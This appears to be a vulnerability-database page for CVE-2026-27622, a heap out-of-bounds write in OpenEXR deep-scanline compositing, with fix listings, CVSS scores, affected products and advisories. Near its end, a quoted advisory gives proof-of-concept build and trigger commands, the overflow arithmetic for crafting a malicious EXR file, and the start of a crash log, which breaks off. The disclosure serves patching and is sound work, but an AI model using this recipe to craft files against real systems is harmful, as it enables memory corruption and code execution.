CVE-2026-27622

highpriority · track · 31EPSS 0.002 · 12 %ileDEEURUUS

grimoire priorityP2 · Scheduled

Exploitable?

—

no known exploitation

Likely / severe?

0.21% (12th) EPSS

CVSS 7.8 · high

Is it mine?

46 products

Check your exposure

Who says so?

6 sources

cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.

remediations

Vendor fix, mitigation, or workaround guidance, as published by each source.

A vendor fix is available.

FixedlibIex-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRUtil-3_2-31-x86-64-v3-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.aarch64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.ppc64le as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.s390x as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-0:3.2.2-160000.5.1.x86_64 as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-doc-0:3.2.2-160000.5.1.noarch as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
Fixedopenexr-doc-0:3.2.2-160000.5.1.noarch as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-32bit-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-32bit-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-32bit-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-32bit-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-x86-64-v3-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-x86-64-v3-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-x86-64-v3-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIex-3_4-33-x86-64-v3-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-32bit-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-32bit-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-32bit-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-32bit-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibIlmThread-3_4-33-x86-64-v3-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-32bit-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-32bit-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-32bit-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-32bit-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXR-3_4-33-x86-64-v3-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-0:3.4.6-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-0:3.4.6-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.6-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
FixedlibOpenEXRCore-3_4-33-32bit-0:3.4.6-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
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cvss

Technical severity, 0–10. One row per scoring source.

8.4

010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.7–8.4

v3.17.8highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 1.8 · impact 5.9

v3.17.4highCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondaryexploitability 1.4 · impact 5.9

v3.17.8highAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU

v3.17.8highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hsecondary · SUSE Product Security

v4.08.4highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com

v4.08.4highCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU

v4.05.7mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS

weaknesses

The CWE weakness classes this flaw belongs to.

CWE-190USCWE-787USCWE-787USCWE-787US

affected products (46)

Products and version ranges known to be affected.

Oracle Linuxall versionscert_bundDEcpe:/o:oracle:linux:-
RESF Rocky Linuxall versionscert_bundDEcpe:/o:resf:rocky_linux:-
Red Hat Enterprise Linuxall versionscert_bundDEcpe:/o:redhat:enterprise_linux:-
Red Hat Enterprise Linux 10all versionscert_bundDEcpe:/o:redhat:enterprise_linux:10
Red Hat Enterprise Linux 10.0 Extended Update Supportall versionscert_bundDEcpe:/o:redhat:enterprise_linux:10.0_extended_update_support
Ubuntu Linuxall versionscert_bundDEcpe:/o:canonical:ubuntu_linux:-
AcademySoftwareFoundation OpenEXR2.3.0, → 3.2.6enisa_euvdEU
AcademySoftwareFoundation OpenEXR3.3.0, → 3.3.8enisa_euvdEU
AcademySoftwareFoundation OpenEXR3.4.0, → 3.4.6enisa_euvdEU
Canonical Ltd. Ubuntu≤ 22.04 LTSfstec_bduRU
Canonical Ltd. Ubuntu≤ 20.04 LTSfstec_bduRU
Canonical Ltd. Ubuntu≤ 16.04 LTSfstec_bduRU
Canonical Ltd. Ubuntu≤ 18.04 LTSfstec_bduRU
Canonical Ltd. Ubuntu≤ 26.04 LTSfstec_bduRU
Canonical Ltd. Ubuntu≤ 24.04 LTSfstec_bduRU
Industrial Light & Magic OpenEXR2.3.0 → 3.2.6fstec_bduRU
Industrial Light & Magic OpenEXR3.3.0 → 3.3.8fstec_bduRU
Industrial Light & Magic OpenEXR3.4.0 → 3.4.6fstec_bduRU
Red Hat, Inc. Red Hat AI Inference Server≤ 3.3fstec_bduRU
Red Hat, Inc. Red Hat Enterprise Linux≤ 9.6 Extended Update Supportfstec_bduRU

showing 20 of 46

advisories (6)

Vendor and ecosystem advisories describing this.

SUSE-SU-2026:20936-1Security update for openexr2026-03-26csaf · suse_csafDE
Security update for openexr
WID-SEC-W-2026-1053Red Hat Enterprise Linux (openexr): Schwachstelle ermöglicht Codeausführung und DosDeutsch2026-04-12csaf · cert_bundDE
Ein lokaler Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux ausnutzen, um möglicherweise beliebigen Code auszuführen oder einen Denial-of-Service-Zustand zu verursachen.
openSUSE-SU-2026:10303-1libIex-3_4-33-3.4.6-1.1 on GA media2026-03-07csaf · suse_csafDE
libIex-3_4-33-3.4.6-1.1 on GA media
openSUSE-SU-2026:20433-1Security update for openexr2026-03-26csaf · suse_csafDE
Security update for openexr
GHSA-cr4v-6jm6-4963OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write2026-03-02ghsa · osvUS
## Summary Function: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`). Vulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`): - `total_sizes[ptr] += counts[j][ptr];` (line ~511) - `overall_sample_count += total_sizes[ptr];` (line ~514) - `samples[channel].resize (overall_sample_count);` (line ~535) Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE). Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds. Tested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0 ## Steps to reproduce [composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch) PoC files used: - Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp` - Minimal high-level reader harness: `poc/simple_exr_reader.cpp` The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`. Build with ASAN/UBSAN: ```bash cmake -S . -B build-asan \ -DOPENEXR_BUILD_POC=ON \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' cmake --build build-asan --target composite_writer simple_exr_reader -j ``` Generate malicious file (decode-path focused profile): ```bash ASAN_OPTIONS=detect_leaks=0 timeout 180s \ ./build-asan/poc/composite_writer \ --profile low-ram \ --file /tmp/composite_decode_focus.exr ``` Trigger: ```bash ASAN_OPTIONS=detect_leaks=0 timeout 30s \ ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr ``` ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration. ## Example runs Writer (abbrev): ```bash ❯ ./build-asan/poc/composite_writer exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB) ``` Reader ASAN crash: ```bash ❯ ./build-asan/poc/simple_exr_reader reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts ================================================================= 